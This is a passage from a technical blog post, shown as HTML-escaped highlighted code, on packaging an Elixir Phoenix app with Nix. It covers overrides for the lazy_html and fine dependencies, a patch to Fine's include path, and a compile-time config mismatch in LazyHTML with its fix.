&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;tag&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lexborVersion&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;hash&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;sha256-wsm+2L2ar+3LGyBXl39Vp9l1l5JONWvO0QbI87TDfWM=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;          &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;        &lt;span style=&quot;color: #cba6f7;&quot;&gt;in&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;        &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;nativeBuildInputs&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;prevAttrs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;nativeBuildInputs&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;++&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;pkgs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;cmake&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;prePatch&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;            &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# ensure the version is in sync.&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;            &lt;span style=&quot;color: #89b4fa;&quot;&gt;grep&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;-q&lt;/span&gt; &amp;#39;@lexbor_version &amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lexborVersion&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;#39; mix.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;            mkdir -p _build/c/third_party/lexbor&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;            cp -r &lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lexbor&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;_build/c/third_party/lexbor/&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lexborVersion&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;            &lt;span style=&quot;color: #89b4fa;&quot;&gt;chmod&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;-R&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;u+w&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;_build/c/third_party/lexbor/&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lexborVersion&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;patches&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;            &lt;span style=&quot;color: #f5c2e7;&quot;&gt;./lazy_html-mix.exs.patch&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;          &lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;        &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;      &lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;fine&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;prev&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;fine&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;overrideAttrs&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;patches&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;          &lt;span style=&quot;color: #f5c2e7;&quot;&gt;./fine-lib-fine.ex.patch&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;        &lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;      &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-diff&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;diff&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;--git&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;a/lib/fine.ex b/lib/fine.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;index&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;277b983&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;22c8d4f&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;100644&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;a/lib/fine.ex&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;+++&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;b/lib/fine.ex&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;@@ -8,11 +8,9 @@ defmodule Fine do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt; 
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;   @moduledoc readme_docs
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt; 
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;-&lt;/span&gt;  @include_dir Path.expand(&amp;quot;include&amp;quot;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;-&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;   @doc &amp;quot;&amp;quot;&amp;quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;   Returns the directory with Fine header files.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;   &amp;quot;&amp;quot;&amp;quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;   @spec include_dir() :: String.t()
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;-&lt;/span&gt;  def include_dir(), do: @include_dir&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;+&lt;/span&gt;  def include_dir(), do: Application.app_dir(:fine, &amp;quot;include&amp;quot;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt; end
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Instead of resolving something about cwd at compile-time, we resolve the installed application path at runtime. Lovely! 🍴&lt;/p&gt;
&lt;p&gt;This now builds successfully! Yay!&lt;/p&gt;
&lt;p&gt;And then your application fails bring-up when you’re using the compiled release:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;ERROR! the application :lazy_html has a different value set for key :inspect_extra_newline during runtime compared to compile time. Since this application environment entry was marked as compile time, this difference can lead to different behavior than expected:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  * Compile time value was set to: true
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  * Runtime value was not set
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;To fix this error, you might:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  * Make the runtime value match the compile time one
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  * Recompile your project. If the misconfigured application is a dependency, you may need to run &amp;quot;mix deps.clean lazy_html --build&amp;quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  * Alternatively, you can disable this check. If you are using releases, you can set :validate_compile_env to false in your release configuration. If you are using Mix to start your system, you can pass the --no-validate-compile-env flag
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;Runtime terminating during boot (&amp;lbrace;&amp;lt;&amp;lt;&amp;quot;aborting boot&amp;quot;&amp;gt;&amp;gt;,[&amp;lbrace;&amp;#39;Elixir.Config.Provider&amp;#39;,boot,2,[]&amp;rbrace;]&amp;rbrace;)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;Crash dump is being written to: erl_crash.dump...⏎
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Oop. Turns out LazyHTML’s &lt;code&gt;config.exs&lt;/code&gt; &lt;a href=&quot;https://github.com/dashbitco/lazy_html/blob/ceca1f9767ce50d20aef22464d889bd1dc5cbd49/config/config.exs&quot;&gt;declares&lt;/a&gt; a single config var to avoid some behaviour in test:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;Config&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# We disable the extra newline in test env, because it breaks doctests.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;:lazy_html&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;:inspect_extra_newline&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;config_env&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;:test&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The actual &lt;em&gt;use&lt;/em&gt; of this config &lt;a href=&quot;https://github.com/dashbitco/lazy_html/blob/ceca1f9767ce50d20aef22464d889bd1dc5cbd49/lib/lazy_html.ex#L546-L550&quot;&gt;has the correct default&lt;/a&gt; (since this config isn’t used in your dependent application):&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;  &lt;span style=&quot;color: #cba6f7;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;compile_env&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #f2cdcd;&quot;&gt;:lazy_html&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;:inspect_extra_newline&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;separator&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;line&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #cba6f7;&quot;&gt;else&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;separator&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;empty&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #cba6f7;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But, because we compiled LazyHTML by itself, that explicit &lt;code&gt;true&lt;/code&gt; got compiled in, and the lack of runtime value for it means we crash out.&lt;/p&gt;
&lt;h3&gt;Step four: declare LazyHTML’s config in our application&lt;/h3&gt;
&lt;p&gt;In your &lt;code&gt;config.exs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;:lazy_html&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;:inspect_extra_newline&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That’s it!&lt;/p&gt;
&lt;h3&gt;Egumi? Isn’t that a lot of work?&lt;/h3&gt;
&lt;p&gt;It sure is. Here’s the PRs I opened this morning to make some of this unnecessary:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/elixir-nx/fine/pull/9&quot;&gt;&lt;del&gt;&lt;code&gt;elixir-nx/fine&lt;/code&gt;#9: Allow use when separately compiled to Fine’s dependent.&lt;/del&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;edit: our patch will become even more stylish. See below!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/dashbitco/lazy_html/pull/11&quot;&gt;&lt;del&gt;&lt;code&gt;dashbitco/lazy_html&lt;/code&gt;#11: config: don’t set config at all outside test env.&lt;/del&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;edit: what a lovely conversation. PR superseded by &lt;a href=&quot;https://github.com/NixOS/nixpkgs/pull/429770&quot;&gt;&lt;code&gt;NixOS/nixpkgs&lt;/code&gt;#429770: buildMix: add support for removing target config&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;That (or its equivalent functionality if not accepted) will then need to be used in a PR in &lt;code&gt;mix2nix&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;LiveView also now supplies its own types (the DefinitelyTyped ones under &lt;code&gt;@types/phoenix_live_view&lt;/code&gt; are good but not ~official~!), but not in a way that seems compatible with certain TypeScript &lt;code&gt;moduleResolution&lt;/code&gt; configurations, so:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/phoenixframework/phoenix_live_view/pull/3915&quot;&gt;&lt;code&gt;phoenixframework/phoenix_live_view&lt;/code&gt;#3915: package.json: list type exports.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Aside&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Technically&lt;/em&gt;, a lot of this is on us — we don’t actually need LazyHTML in our build, since it’s marked &lt;code&gt;only: :test&lt;/code&gt; — but &lt;code&gt;mix2nix&lt;/code&gt; doesn’t exclude it on that basis. &lt;code&gt;phoenix_live_view&lt;/code&gt; also declares it as a dependency (albeit with &lt;code&gt;optional: true&lt;/code&gt;), but you could do some override shenanigans to excise it entirely.&lt;/p&gt;
&lt;p&gt;But: (a) I’ll do what I feel like, and (b) I actually use Floki in my application code, and it has support for a Lexbor-based parser which until now I’ve been unable to use precisely because it entailed all this. Now I can just port my Floki uses to LazyHTML and drop it entirely!&lt;/p&gt;
&lt;h3&gt;Edit: Fine v0.1.3 no longer includes the includes and it’s all my fault!&lt;/h3&gt;
&lt;p&gt;Dw bb. Nix gotchu. Get rid of the old patch — our new one is a bit more (and a bit less) dynamic.&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-nix&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;fine&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;prev&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;fine&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;overrideAttrs&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;prevAttrs&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;prePatch&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;/span&gt;
